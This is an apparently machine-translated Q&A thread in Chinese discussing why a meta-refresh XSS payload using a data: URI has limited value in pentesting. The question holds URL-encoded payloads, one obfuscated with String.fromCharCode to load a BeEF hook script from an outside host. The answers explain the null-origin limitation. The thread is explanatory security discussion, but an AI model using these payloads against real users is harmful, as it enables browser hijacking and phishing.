一些专业的测试人员告诉我,这个xss测试向量对于pentest是无用的。有效载荷看起来像这样:
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
但当我将代码保存到HTML文件时,其中包含更强大的javascript,如hook.js(来自牛肉漏洞利用框架)。
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%36%30%2C%31%31%35%2C%39%39%2C%31%31%34%2C%31%30%35%2C%31%31%32%2C%31%31%36%2C%33%32%2C%31%31%35%2C%31%31%34%2C%39%39%2C%36%31%2C%31%30%34%2C%31%31%36%2C%31%31%36%2C%31%31%32%2C%35%38%2C%34%37%2C%34%37%2C%31%31%32%2C%31%30%38%2C%31%30%31%2C%39%38%2C%31%31%35%2C%34%36%2C%31%30%39%2C%31%30%31%2C%34%37%2C%34%38%2C%34%36%2C%31%30%36%2C%31%31%35%2C%36%32%2C%36%30%2C%34%37%2C%31%31%35%2C%39%39%2C%31%31%34%2C%31%30%35%2C%31%31%32%2C%31%31%36%2C%36%32%29%29%3C%2F%73%63%72%69%70%74%3E">
它在firefox和chrome上完美运行。我可以使用我的牛肉漏洞框架在线查看受害者,并且可以使用很多功能。
我真的不明白。这个有效载荷出了什么问题。我已多次问过这个问题,但没有回复。这让我很困惑。有没有人可以告诉我为什么他说这个对于测试来说是无用的。
答案 0 :(得分:2)
通过元标记的XSS高度依赖于目标受害者使用的浏览器。元标记,例如&lt; meta http-equiv =“refresh”content =“0; url = javascript:alert(1)”&gt;将在托管域上触发恶意javascript,但只能在Safari中使用;所有其他浏览器拒绝关注位置:javascript:header。
在标记中使用数据URI时,浏览器会将解码的有效负载加载到空域中,并且任何javascript都将在空域的上下文中触发。虽然这仍然可以用于触发重定向,XHR和其他此类攻击,但它对于访问托管域上的任何内容都是无用的。这种攻击在IE中也不起作用,因为它只允许图像类型元素的数据URI,我认为甚至仅限于style / css。
尽管元标记注射只能在非常有限的容量内成功用于XSS,但它们在其他攻击中仍然非常危险,值得测试。
答案 1 :(得分:1)
据我记得数据:-URIs作为单独的原点加载,因此您无法从注入的脚本访问易受攻击的站点。但是,这可能会用于提供漏洞利用或网络钓鱼,所以我不会说它完全没用。